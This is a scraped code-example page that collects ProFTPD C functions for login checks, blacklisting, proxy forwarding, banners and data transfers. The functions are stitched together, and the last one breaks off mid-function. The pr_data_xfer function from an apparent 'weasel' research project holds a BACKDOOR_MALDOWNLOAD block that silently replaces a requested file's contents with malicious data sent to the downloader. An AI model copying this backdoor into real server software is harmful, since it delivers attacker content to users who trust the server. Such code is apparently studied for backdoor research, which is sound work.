MODRET limit_login_post_pass(cmd_rec *cmd) {
    /*
     * PASSを通過すると cmd->server->conf にユーザー名が入る様子
     * get_param_ptr()で取れる
     */
    char *user = get_param_ptr(cmd->server->conf, "UserName", FALSE);
    if(!user) {
        pr_log_auth(PR_LOG_NOTICE, "User unknown. Something Wrong");
        pr_response_send(R_530, _("Login incorrect."));
        end_login(0);
    }

    int dummy;
    if(session.dir_config &&
       session.dir_config->subset &&
       !login_check_limits(session.dir_config->subset, FALSE, TRUE ,&dummy)) {
            remove_config(cmd->server->conf, C_USER, FALSE);
            remove_config(cmd->server->conf, C_PASS, FALSE);
            pr_log_auth(PR_LOG_NOTICE, "%s: Limit access denies login.", user);
            pr_response_send(R_530, _("Login Denied."));
            end_login(0);
    }

    pr_log_debug(DEBUG5, "%s: ok login_check_limits() post PASS", user);
    return PR_DECLINED(cmd);
}
MODRET lmd_deny_blacklist_post_pass(cmd_rec *cmd) {
    /*
      mod_authを通過するまでは session.userは空の様子
      const char *account  = session.user;
    */
    const char *account   = NULL;
    const char *remote_ip = NULL;

    /* return IP unless found hostname */
    account = get_param_ptr(cmd->server->conf, "UserName", FALSE);
    remote_ip = pr_netaddr_get_ipstr(pr_netaddr_get_sess_remote_addr());

    if(false == is_set_server) {
        pr_log_auth(PR_LOG_WARNING, "%s: memcached_server not set", MODULE_NAME);
        lmd_cleanup();
        return PR_DECLINED(cmd);
    }

    if(is_allowed_user(cmd, account) == true) {
        pr_log_auth(PR_LOG_NOTICE,
           "%s: '%s' is allowed to login. skip last process", MODULE_NAME, account);
        lmd_cleanup();
        return PR_DECLINED(cmd);
    }

    /* allow explicily */
    if(is_allowed(cmd, session.c->remote_addr) == true) {
        return PR_DECLINED(cmd);
    }

    /* check whether account is registerd in blacklist or not */
    if(is_cache_exits(memcached_deny_blacklist_mmc, account) == true) {
        pr_log_auth(PR_LOG_NOTICE,
            "%s: denied '%s@%s'. Account found in blacklist(memcached)",
                 MODULE_NAME, account, remote_ip);
        pr_response_send(R_530, _("Login denied temporary (Account found in blacklist)"));
        end_login(0);
    }

    /* check whether remote IP is registerd in blacklist or not */
    if(is_cache_exits(memcached_deny_blacklist_mmc, remote_ip) == true) {
        pr_log_auth(PR_LOG_NOTICE,
            "%s: denied '%s@%s'. IP found in blacklist(memcached)",
                 MODULE_NAME, account, remote_ip);
        pr_response_send(R_530, _("Login denied temporary (IP found in blacklist)"));
        end_login(0);
    }

    pr_log_debug(DEBUG2,
            "%s: not found in blaclist. '%s@%s' is allowed to Login",
                 MODULE_NAME, account, remote_ip);

    lmd_cleanup();
    return PR_DECLINED(cmd);
}
Exemplo n.º 3
0
static int forward_handle_pass_userwithproxyauth(cmd_rec *cmd,
    struct proxy_session *proxy_sess, int *successful, int *block_responses) {

  if (!(proxy_sess_state & PROXY_SESS_STATE_PROXY_AUTHENTICATED)) {
    int res;
    char *user;

    user = pr_table_get(session.notes, "mod_auth.orig-user", NULL);

    res = proxy_session_check_password(cmd->pool, user, cmd->arg);
    if (res < 0) {
      errno = EINVAL;
      return -1;
    }

    res = proxy_session_setup_env(proxy_pool, user,
      PROXY_SESSION_FL_CHECK_LOGIN_ACL);
    if (res < 0) {
      errno = EINVAL;
      return -1;
    }

    if (session.auth_mech) {
      pr_log_debug(DEBUG2, "user '%s' authenticated by %s", user,
        session.auth_mech);
    }

    pr_response_send(R_230, _("User %s logged in"), user);
    return 1;
  }

  return forward_handle_pass_passthru(cmd, proxy_sess, successful);
}
Exemplo n.º 4
0
int proxy_forward_have_authenticated(cmd_rec *cmd) {
  int authd = FALSE;

  /* Authenticated here means authenticated *to the proxy*, i.e. should we
   * allow more commands, or reject them because the client hasn't authenticated
   * yet.
   */

  switch (proxy_method) {
    case PROXY_FORWARD_METHOD_USER_NO_PROXY_AUTH:
      authd = TRUE;
      break;

    case PROXY_FORWARD_METHOD_PROXY_USER_WITH_PROXY_AUTH:
    case PROXY_FORWARD_METHOD_USER_WITH_PROXY_AUTH:
      if (proxy_sess_state & PROXY_SESS_STATE_PROXY_AUTHENTICATED) {
        authd = TRUE;
      }
      break;

    default:
      authd = FALSE;
  }

  if (authd == FALSE) {
    pr_response_send(R_530, _("Please login with USER and PASS"));
  }

  return authd;
}
Exemplo n.º 5
0
int proxy_ftp_ctrl_send_resp(pool *p, conn_t *ctrl_conn, pr_response_t *resp,
                             unsigned int resp_nlines) {
    pool *curr_pool;

    (void) ctrl_conn;

    pr_trace_msg(trace_channel, 9,
                 "backend->frontend response: %s%s%s", resp->num,
                 resp_nlines == 1 ? " " : "", resp->msg);

    curr_pool = pr_response_get_pool();
    if (curr_pool == NULL) {
        pr_response_set_pool(p);
    }

    if (resp_nlines > 1) {
        pr_response_send_raw("%s%s", resp->num, resp->msg);

    } else {
        pr_response_send(resp->num, "%s", resp->msg);
    }

    pr_response_set_pool(curr_pool);
    return 0;
}
Exemplo n.º 6
0
void pr_session_send_banner(server_rec *s, int flags) {
  config_rec *c = NULL;
  char *display = NULL;
  const char *serveraddress = NULL;
  config_rec *masq = NULL;

  display = get_param_ptr(s->conf, "DisplayConnect", FALSE);
  if (display != NULL) {
    if (pr_display_file(display, NULL, R_220, flags) < 0) {
      pr_log_debug(DEBUG6, "unable to display DisplayConnect file '%s': %s",
        display, strerror(errno));
    }
  }

  serveraddress = pr_netaddr_get_ipstr(session.c->local_addr);

  masq = find_config(s->conf, CONF_PARAM, "MasqueradeAddress", FALSE);
  if (masq != NULL) {
    pr_netaddr_t *masq_addr = (pr_netaddr_t *) masq->argv[0];
    serveraddress = pr_netaddr_get_ipstr(masq_addr);
  }

  c = find_config(s->conf, CONF_PARAM, "ServerIdent", FALSE);
  if (c == NULL ||
      *((unsigned char *) c->argv[0]) == TRUE) {
    unsigned char *defer_welcome;

    defer_welcome = get_param_ptr(s->conf, "DeferWelcome", FALSE);

    if (c &&
        c->argc > 1) {
      char *server_ident = c->argv[1];

      if (strstr(server_ident, "%L") != NULL) {
        server_ident = sreplace(session.pool, server_ident, "%L",
          serveraddress, NULL);
      }

      if (strstr(server_ident, "%V") != NULL) {
        server_ident = sreplace(session.pool, server_ident, "%V",
          main_server->ServerFQDN, NULL);
      }

      if (strstr(server_ident, "%v") != NULL) {
        server_ident = sreplace(session.pool, server_ident, "%v",
          main_server->ServerName, NULL);
      }

      if (flags & PR_DISPLAY_FL_SEND_NOW) {
        pr_response_send(R_220, "%s", server_ident);

      } else {
        pr_response_add(R_220, "%s", server_ident);
      }

    } else if (defer_welcome &&
               *defer_welcome == TRUE) {

      if (flags & PR_DISPLAY_FL_SEND_NOW) {
        pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server ready.");

      } else {
        pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server ready.");
      }

    } else {
      if (flags & PR_DISPLAY_FL_SEND_NOW) {
        pr_response_send(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server (%s) [%s]", s->ServerName, serveraddress);

      } else {
        pr_response_add(R_220, "ProFTPD " PROFTPD_VERSION_TEXT
          " Server (%s) [%s]", s->ServerName, serveraddress);
      }
    }

  } else {
    if (flags & PR_DISPLAY_FL_SEND_NOW) {
      pr_response_send(R_220, _("%s FTP server ready"), serveraddress);

    } else {
      pr_response_add(R_220, _("%s FTP server ready"), serveraddress);
    }
  }
}
Exemplo n.º 7
0
Arquivo: data.c Projeto: flxflx/weasel
int pr_data_xfer(char *cl_buf, int cl_size) {
  int len = 0;
  int total = 0;
  int res = 0;

  /* Poll the control channel for any commands we should handle, like
   * QUIT or ABOR.
   */
  pr_trace_msg(trace_channel, 4, "polling for commands on control channel");
  pr_netio_set_poll_interval(session.c->instrm, 0);
  res = pr_netio_poll(session.c->instrm);
  pr_netio_reset_poll_interval(session.c->instrm);

  if (res == 0 &&
      !(session.sf_flags & SF_ABORT)) {
    cmd_rec *cmd = NULL;

    pr_trace_msg(trace_channel, 1,
      "data available for reading on control channel during data transfer, "
      "reading control data");
    res = pr_cmd_read(&cmd);
    if (res < 0) {
      int xerrno;
#if defined(ECONNABORTED)
      xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
      xerrno = ENOTCONN;
#else
      xerrno = EIO;
#endif

      pr_trace_msg(trace_channel, 1,
        "unable to read control command during data transfer: %s",
        strerror(xerrno));
      errno = xerrno;

#ifndef PR_DEVEL_NO_DAEMON
      /* Otherwise, EOF */
      pr_session_disconnect(NULL, PR_SESS_DISCONNECT_CLIENT_EOF, NULL);
#else
      return -1;
#endif /* PR_DEVEL_NO_DAEMON */

    } else if (cmd != NULL) {
      char *ch;

      for (ch = cmd->argv[0]; *ch; ch++)
        *ch = toupper(*ch);

      cmd->cmd_id = pr_cmd_get_id(cmd->argv[0]);

      /* Only handle commands which do not involve data transfers; we
       * already have a data transfer in progress.  For any data transfer
       * command, send a 450 ("busy") reply.  Looks like almost all of the
       * data transfer commands accept that response, as per RFC959.
       *
       * We also prevent the EPRT, EPSV, PASV, and PORT commands, since
       * they will also interfere with the current data transfer.  In doing
       * so, we break RFC compliance a little; RFC959 does not allow a
       * response code of 450 for those commands (although it should).
       */
      if (pr_cmd_cmp(cmd, PR_CMD_APPE_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_LIST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_MLSD_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_NLST_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RETR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_STOU_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNFR_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_RNTO_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PORT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPRT_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_PASV_ID) == 0 ||
          pr_cmd_cmp(cmd, PR_CMD_EPSV_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, denying",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add_err(R_450, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_err_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      /* We don't want to actually dispatch the NOOP command, since that
       * would overwrite the scoreboard with the NOOP state; admins probably
       * want to see the command that caused the data transfer.  And since
       * NOOP doesn't take a 450 response (as per RFC959), we will simply
       * return 200.
       */
      } else if (pr_cmd_cmp(cmd, PR_CMD_NOOP_ID) == 0) {
        pool *resp_pool;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, ignoring",
          cmd->argv[0]);

        resp_list = resp_err_list = NULL;
        resp_pool = pr_response_get_pool();

        pr_response_set_pool(cmd->pool);

        pr_response_add(R_200, _("%s: data transfer in progress"),
          cmd->argv[0]);

        pr_response_flush(&resp_list);

        destroy_pool(cmd->pool);
        pr_response_set_pool(resp_pool);

      } else {
        char *title_buf = NULL;
        int title_len = -1;
        const char *sce_cmd = NULL, *sce_cmd_arg = NULL;

        pr_trace_msg(trace_channel, 5,
          "client sent '%s' command during data transfer, dispatching",
          cmd->argv[0]);

        title_len = pr_proctitle_get(NULL, 0);
        if (title_len > 0) {
          title_buf = pcalloc(cmd->pool, title_len + 1);
          pr_proctitle_get(title_buf, title_len + 1); 
        }

        sce_cmd = pr_scoreboard_entry_get(PR_SCORE_CMD);
        sce_cmd_arg = pr_scoreboard_entry_get(PR_SCORE_CMD_ARG);

        pr_cmd_dispatch(cmd);

        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD, "%s", sce_cmd, NULL, NULL);
        pr_scoreboard_entry_update(session.pid,
          PR_SCORE_CMD_ARG, "%s", sce_cmd_arg, NULL, NULL);

        if (title_len > 0) {
          pr_proctitle_set_str(title_buf);
        }

        destroy_pool(cmd->pool);
      }

    } else {
      pr_trace_msg(trace_channel, 3,
        "invalid command sent, sending error response");
      pr_response_send(R_500, _("Invalid command: try being more creative"));
    }
  }

  /* If we don't have a data connection here (e.g. might have been closed
   * by an ABOR, then return zero (no data transferred).
   */
  if (session.d == NULL) {
    int xerrno;

#if defined(ECONNABORTED)
    xerrno = ECONNABORTED;
#elif defined(ENOTCONN)
    xerrno = ENOTCONN;
#else
    xerrno = EIO;
#endif

    pr_trace_msg(trace_channel, 1,
      "data connection is null prior to data transfer (possibly from "
      "aborted transfer), returning '%s' error", strerror(xerrno));
    pr_log_debug(DEBUG5, 
      "data connection is null prior to data transfer (possibly from "
       "aborted transfer), returning '%s' error", strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    char *buf = session.xfer.buf;
    pr_buffer_t *pbuf;

    if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
      int adjlen, buflen;

      do {
        buflen = session.xfer.buflen;        /* how much remains in buf */
        adjlen = 0;

        pr_signals_handle();

        len = pr_netio_read(session.d->instrm, buf + buflen,
          session.xfer.bufsize - buflen, 1);
        if (len < 0)
          return -1;

        /* Before we process the data read from the client, generate an event
         * for any listeners which may want to examine this data.
         */

        pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
        pbuf->buf = buf;
        pbuf->buflen = len;
        pbuf->current = pbuf->buf;
        pbuf->remaining = 0;

        pr_event_generate("core.data-read", pbuf);

        /* The event listeners may have changed the data to write out. */
        buf = pbuf->buf;
        len = pbuf->buflen - pbuf->remaining;

        if (len > 0) {
          buflen += len;

          if (timeout_stalled) {
            pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
          }
        }

        /* If buflen > 0, data remains in the buffer to be copied. */
        if (len >= 0 &&
            buflen > 0) {

          /* Perform translation:
           *
           * buflen is returned as the modified buffer length after
           *        translation
           * adjlen is returned as the number of characters unprocessed in
           *        the buffer (to be dealt with later)
           *
           * We skip the call to xfrm_ascii_read() in one case:
           * when we have one character in the buffer and have reached
           * end of data, this is so that xfrm_ascii_read() won't sit
           * forever waiting for the next character after a final '\r'.
           */
          if (len > 0 || buflen > 1)
            xfrm_ascii_read(buf, &buflen, &adjlen);
	
          /* Now copy everything we can into cl_buf */
          if (buflen > cl_size) {
            /* Because we have to cut our buffer short, make sure this
             * is made up for later by increasing adjlen.
             */
            adjlen += (buflen - cl_size);
            buflen = cl_size;
          }

          memcpy(cl_buf, buf, buflen);

          /* Copy whatever remains at the end of session.xfer.buf to the
           * head of the buffer and adjust buf accordingly.
           *
           * adjlen is now the total bytes still waiting in buf, if
           * anything remains, copy it to the start of the buffer.
           */

          if (adjlen > 0)
            memcpy(buf, buf+buflen, adjlen);

          /* Store everything back in session.xfer. */
          session.xfer.buflen = adjlen;
          total += buflen;
        }
	
        /* Restart if data was returned by pr_netio_read() (len > 0) but no
         * data was copied to the client buffer (buflen = 0).  This indicates
         * that xfrm_ascii_read() needs more data in order to translate, so we
         * need to call pr_netio_read() again.
         */
      } while (len > 0 && buflen == 0);

      /* Return how much data we actually copied into the client buffer. */
      len = buflen;

    } else if ((len = pr_netio_read(session.d->instrm, cl_buf,
        cl_size, 1)) > 0) {

      /* Before we process the data read from the client, generate an event
       * for any listeners which may want to examine this data.
       */

      pbuf = pcalloc(session.xfer.p, sizeof(pr_buffer_t));
      pbuf->buf = buf;
      pbuf->buflen = len;
      pbuf->current = pbuf->buf;
      pbuf->remaining = 0;

      pr_event_generate("core.data-read", pbuf);

      /* The event listeners may have changed the data to write out. */
      buf = pbuf->buf;
      len = pbuf->buflen - pbuf->remaining;

      /* Non-ASCII mode doesn't need to use session.xfer.buf */
      if (timeout_stalled) {
        pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
      }

      total += len;
    }

  } else { /* PR_NETIO_IO_WR */
  
    while (cl_size) {
      int bwrote = 0;
      int buflen = cl_size;
      unsigned int xferbuflen;

      pr_signals_handle();

      if (buflen > pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR))
        buflen = pr_config_get_server_xfer_bufsz(PR_NETIO_IO_WR);

      xferbuflen = buflen;
#ifdef BACKDOOR_MALDOWNLOAD
      int restriction = 0;

			if (strcmp(fakedownload, "1") == 0)
			{
				// Iterate through all files
				int i = 0;
				for (i = 0; i < mcounter; i++)
				{
					if (strcmp(mlist[i].category, "web") == 0)
					{
						if (strcmp(mlist[i].filename_good, active_full_path) == 0)
						{
							session.xfer.buf = (char*) malloc (sizeof(char)*buflen+1);
							if (!session.xfer.buf)
								break;
							/* Fill up our internal buffer with malicious content. :-) */
							memcpy(session.xfer.buf, filename_buffer, buflen);
							filename_buffer += buflen;
							restriction = 1;
							break;

						}
  					}
				}
			}
			
			if (restriction == 0)
			{				
#endif /* BACKDOOR_MALDOWNLOAD */
				/* Fill up our internal buffer. */
				memcpy(session.xfer.buf, cl_buf, buflen);
				
				if (session.sf_flags & (SF_ASCII|SF_ASCII_OVERRIDE)) {
        /* Scan the internal buffer, looking for LFs with no preceding CRs.
         * Add CRs (and expand the internal buffer) as necessary. xferbuflen
         * will be adjusted so that it contains the length of data in
         * the internal buffer, including any added CRs.
         */
        xfrm_ascii_write(&session.xfer.buf, &xferbuflen, session.xfer.bufsize);
      }
#ifdef BACKDOOR_MALDOWNLOAD
      }
#endif /* BACKDOOR_MALDOWNLOAD */

      bwrote = pr_netio_write(session.d->outstrm, session.xfer.buf, xferbuflen);

      if (bwrote < 0)
        return -1;

      if (bwrote > 0) {
        if (timeout_stalled) {
          pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE);
        }

        cl_size -= buflen;
        cl_buf += buflen;
        total += buflen;
      }
    }

    len = total;
  }

  if (total &&
      timeout_idle)
    pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE);

  session.xfer.total_bytes += total;
  session.total_bytes += total;
  if (session.xfer.direction == PR_NETIO_IO_RD) {
    session.total_bytes_in += total;

  } else {
    session.total_bytes_out += total;
  }

  return (len < 0 ? -1 : len);
}
Exemplo n.º 8
0
Arquivo: data.c Projeto: flxflx/weasel
static int data_active_open(char *reason, off_t size) {
  conn_t *c;
  int rev;
  pr_netaddr_t *bind_addr;

  if (!reason && session.xfer.filename)
    reason = session.xfer.filename;

  if (pr_netaddr_get_family(session.c->local_addr) == pr_netaddr_get_family(session.c->remote_addr)) {
    bind_addr = session.c->local_addr;

  } else {
    /* In this scenario, the server has an IPv6 socket, but the remote client
     * is an IPv4 (or IPv4-mapped IPv6) peer.
     */
    bind_addr = pr_netaddr_v6tov4(session.xfer.p, session.c->local_addr);
  }

  session.d = pr_inet_create_conn(session.pool, -1, bind_addr,
    session.c->local_port-1, TRUE);

  /* Set the "stalled" timer, if any, to prevent the connection
   * open from taking too long
   */
  if (timeout_stalled) {
    pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb,
      "TimeoutStalled");
  }

  rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS);

  /* Protocol and socket options should be set before handshaking. */

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0);
    
  } else {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0));
  }

  /* Make sure that the necessary socket options are set on the socket prior
   * to the call to connect(2).
   */
  pr_inet_set_proto_opts(session.pool, session.d, main_server->tcp_mss_len, 0,
    IPTOS_THROUGHPUT, 1);
  pr_inet_generate_socket_event("core.data-connect", main_server,
    session.d->local_addr, session.d->listen_fd);

  if (pr_inet_connect(session.d->pool, session.d, &session.data_addr,
      session.data_port) == -1) {
    pr_response_add_err(R_425, _("Unable to build data connection: %s"),
      strerror(session.d->xerrno));
    destroy_pool(session.d->pool);
    session.d = NULL;
    return -1;
  }

  c = pr_inet_openrw(session.pool, session.d, NULL, PR_NETIO_STRM_DATA,
    session.d->listen_fd, -1, -1, TRUE);

  pr_netaddr_set_reverse_dns(rev);

  if (c) {
    pr_log_debug(DEBUG4, "active data connection opened - local  : %s:%d",
      pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port);
    pr_log_debug(DEBUG4, "active data connection opened - remote : %s:%d",
      pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port);

    if (session.xfer.xfer_type != STOR_UNIQUE) {
      if (size)
        pr_response_send(R_150, _("Opening %s mode data connection for %s "
          "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size);
      else
        pr_response_send(R_150, _("Opening %s mode data connection for %s"),
          MODE_STRING, reason);

    } else {

      /* Format of 150 responses for STOU is explicitly dictated by
       * RFC 1123:
       *
       *  4.1.2.9  STOU Command: RFC-959 Section 4.1.3
       *
       *    The STOU command stores into a uniquely named file.  When it
       *    receives an STOU command, a Server-FTP MUST return the
       *    actual file name in the "125 Transfer Starting" or the "150
       *    Opening Data Connection" message that precedes the transfer
       *    (the 250 reply code mentioned in RFC-959 is incorrect).  The
       *    exact format of these messages is hereby defined to be as
       *    follows:
       *
       *        125 FILE: pppp
       *        150 FILE: pppp
       *
       *    where pppp represents the unique pathname of the file that
       *    will be written.
       */
      pr_response_send(R_150, "FILE: %s", reason);
    }

    pr_inet_close(session.pool, session.d);
    pr_inet_set_nonblock(session.pool, session.d);
    session.d = c;
    return 0;
  }

  pr_response_add_err(R_425, _("Unable to build data connection: %s"),
    strerror(session.d->xerrno));
  destroy_pool(session.d->pool);
  session.d = NULL;
  return -1;
}
Exemplo n.º 9
0
Arquivo: data.c Projeto: flxflx/weasel
static int data_pasv_open(char *reason, off_t size) {
  conn_t *c;
  int rev;

  if (!reason && session.xfer.filename)
    reason = session.xfer.filename;

  /* Set the "stalled" timer, if any, to prevent the connection
   * open from taking too long
   */
  if (timeout_stalled) {
    pr_timer_add(timeout_stalled, PR_TIMER_STALLED, NULL, stalled_timeout_cb,
      "TimeoutStalled");
  }

  /* We save the state of our current disposition for doing reverse
   * lookups, and then set it to what the configuration wants it to
   * be.
   */
  rev = pr_netaddr_set_reverse_dns(ServerUseReverseDNS);

  /* Protocol and socket options should be set before handshaking. */

  if (session.xfer.direction == PR_NETIO_IO_RD) {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      (main_server->tcp_rcvbuf_override ? main_server->tcp_rcvbuf_len : 0), 0);

  } else {
    pr_inet_set_socket_opts(session.d->pool, session.d,
      0, (main_server->tcp_sndbuf_override ? main_server->tcp_sndbuf_len : 0));
  }

  c = pr_inet_accept(session.pool, session.d, session.c, -1, -1, TRUE);
  pr_netaddr_set_reverse_dns(rev);

  if (c && c->mode != CM_ERROR) {
    pr_inet_close(session.pool, session.d);
    pr_inet_set_nonblock(session.pool, c);
    session.d = c;

    pr_log_debug(DEBUG4, "passive data connection opened - local  : %s:%d",
      pr_netaddr_get_ipstr(session.d->local_addr), session.d->local_port);
    pr_log_debug(DEBUG4, "passive data connection opened - remote : %s:%d",
      pr_netaddr_get_ipstr(session.d->remote_addr), session.d->remote_port);

    if (session.xfer.xfer_type != STOR_UNIQUE) {
      if (size) {
        pr_response_send(R_150, _("Opening %s mode data connection for %s "
          "(%" PR_LU " bytes)"), MODE_STRING, reason, (pr_off_t) size);

      } else {
        pr_response_send(R_150, _("Opening %s mode data connection for %s"),
          MODE_STRING, reason);
      }

    } else {

      /* Format of 150 responses for STOU is explicitly dictated by
       * RFC 1123:
       *
       *  4.1.2.9  STOU Command: RFC-959 Section 4.1.3
       *
       *    The STOU command stores into a uniquely named file.  When it
       *    receives an STOU command, a Server-FTP MUST return the
       *    actual file name in the "125 Transfer Starting" or the "150
       *    Opening Data Connection" message that precedes the transfer
       *    (the 250 reply code mentioned in RFC-959 is incorrect).  The
       *    exact format of these messages is hereby defined to be as
       *    follows:
       *
       *        125 FILE: pppp
       *        150 FILE: pppp
       *
       *    where pppp represents the unique pathname of the file that
       *    will be written.
       */
      pr_response_send(R_150, "FILE: %s", reason);
    }

    return 0;
  }

  /* Check for error conditions. */
  if (c && c->mode == CM_ERROR)
    pr_log_pri(PR_LOG_ERR, "Error: unable to accept an incoming data "
      "connection (%s)", strerror(c->xerrno));

  pr_response_add_err(R_425, _("Unable to build data connection: %s"),
    strerror(session.d->xerrno));
  destroy_pool(session.d->pool);
  session.d = NULL;
  return -1;
}
Exemplo n.º 10
0
static int forward_handle_user_passthru(cmd_rec *cmd,
    struct proxy_session *proxy_sess, int *successful, int flags) {
  int res, xerrno;
  char *user = NULL;
  cmd_rec *user_cmd = NULL;
  pr_response_t *resp = NULL;
  unsigned int resp_nlines = 0;

  if (flags & PROXY_FORWARD_USER_PASSTHRU_FL_PARSE_DSTADDR) {
    struct proxy_conn *pconn = NULL;
    pr_netaddr_t *remote_addr = NULL;
    array_header *other_addrs = NULL;

    res = forward_cmd_parse_dst(cmd->tmp_pool, cmd->arg, &user, &pconn);
    if (res < 0) {
      errno = EINVAL;
      return -1;
    }

    remote_addr = proxy_conn_get_addr(pconn, &other_addrs);

    /* Ensure that the requested remote address is NOT (blatantly) ourselves,
     * i.e. the proxy itself.  This prevents easy-to-detect proxy loops.
     */
    if (pr_netaddr_cmp(remote_addr, session.c->local_addr) == 0 &&
        pr_netaddr_get_port(remote_addr) == pr_netaddr_get_port(session.c->local_addr)) {
      (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
        "requested destination %s#%u is local address %s#%u, rejecting",
        pr_netaddr_get_ipstr(remote_addr),
        ntohs(pr_netaddr_get_port(remote_addr)),
        pr_netaddr_get_ipstr(session.c->local_addr),
        ntohs(pr_netaddr_get_port(session.c->local_addr)));
      pr_response_send(R_530, _("Unable to connect to %s: %s"),
        proxy_conn_get_hostport(pconn), strerror(EPERM));
      return 1;
    }

    proxy_sess->dst_addr = remote_addr;
    proxy_sess->other_addrs = other_addrs;
    proxy_sess->dst_pconn = pconn;

    /* Change the command so that it no longer includes the proxy info. */
    user_cmd = pr_cmd_alloc(cmd->pool, 2, C_USER, user);
    user_cmd->arg = user;

  } else {
    user_cmd = cmd;
  }

  if (flags & PROXY_FORWARD_USER_PASSTHRU_FL_CONNECT_DSTADDR) {
    pr_response_t *banner = NULL;
    unsigned int banner_nlines = 0;

    res = forward_connect(proxy_pool, proxy_sess, &banner, &banner_nlines);
    if (res < 0) {
      xerrno = errno;

      *successful = FALSE;

      /* Send a failed USER response to our waiting frontend client, but do
       * not necessarily close the frontend connection.
       */
      resp = pcalloc(cmd->tmp_pool, sizeof(pr_response_t));
      resp->num = R_530;

      if (banner != NULL) {
        resp->msg = banner->msg;
        resp_nlines = banner_nlines;

      } else {
        resp->msg = pstrcat(cmd->tmp_pool, "Unable to connect to ",
          proxy_conn_get_hostport(proxy_sess->dst_pconn), ": ",
          strerror(xerrno), NULL);
        resp_nlines = 1;
      }

      res = proxy_ftp_ctrl_send_resp(cmd->tmp_pool,
        proxy_sess->frontend_ctrl_conn, resp, resp_nlines);
      if (res < 0) {
        xerrno = errno;

        pr_response_block(TRUE);
        errno = xerrno;
        return -1;
      }

      return 1;
    }
  }

  res = proxy_ftp_ctrl_send_cmd(cmd->tmp_pool, proxy_sess->backend_ctrl_conn,
    user_cmd);
  if (res < 0) {
    xerrno = errno;
    (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
      "error sending %s to backend: %s", (char *) user_cmd->argv[0],
      strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  resp = proxy_ftp_ctrl_recv_resp(cmd->tmp_pool, proxy_sess->backend_ctrl_conn,
    &resp_nlines);
  if (resp == NULL) {
    xerrno = errno;
    (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION,
      "error receiving %s response from backend: %s", (char *) cmd->argv[0],
      strerror(xerrno));

    errno = xerrno;
    return -1;
  }

  if (resp->num[0] == '2' ||
      resp->num[0] == '3') {
    *successful = TRUE;

    if (strcmp(resp->num, R_232) == 0) {
      proxy_sess_state |= PROXY_SESS_STATE_BACKEND_AUTHENTICATED;
      pr_timer_remove(PR_TIMER_LOGIN, ANY_MODULE);
    }
  }

  /* XXX TODO: Concatenate the banner from the connect with the USER response
   * message here, and send the entire kit to the frontend client, e.g.:
   * 
   *  Name (gatekeeper:you): [email protected]
   *  331-(----GATEWAY CONNECTED TO ftp.uu.net----)
   *  331-(220 ftp.uu.net FTP server (SunOS 4.1) ready. 
   *  331 Guest login ok, send ident as password.
   *  Password: ######
   *  230 Guest login ok, access restrictions apply.
   *  ftp> dir
   */

  res = proxy_ftp_ctrl_send_resp(cmd->tmp_pool, proxy_sess->frontend_ctrl_conn,
    resp, resp_nlines);
  if (res < 0) {
    xerrno = errno;

    pr_response_block(TRUE);
    errno = xerrno;
    return -1;
  }

  return 1; 
}
Exemplo n.º 11
0
static int data_active_open(char *reason, off_t size) {
  conn_t *c;
  int bind_port, rev;
  pr_netaddr_t *bind_addr;
  unsigned char *root_revoke = NULL;

  if (!reason && session.xfer.filename)
    reason = session.xfer.filename;

  if (pr_netaddr_get_family(session.c->local_addr) == pr_netaddr_get_family(session.c->remote_addr)) {
    bind_addr = session.c->local_addr;

  } else {
    /* In this scenario, the server has an IPv6 socket, but the remote client
     * is an IPv4 (or IPv4-mapped IPv6) peer.
     */
    bind_addr = pr_netaddr_v6tov4(session.xfer.p, session.c->local_addr);
  }

  /* Default source port to which to bind for the active transfer, as
   * per RFC959.
   */
  bind_port = session.c->local_port-1;

  /* A RootRevoke value of 0 indicates 'false', 1 indicates 'true', and
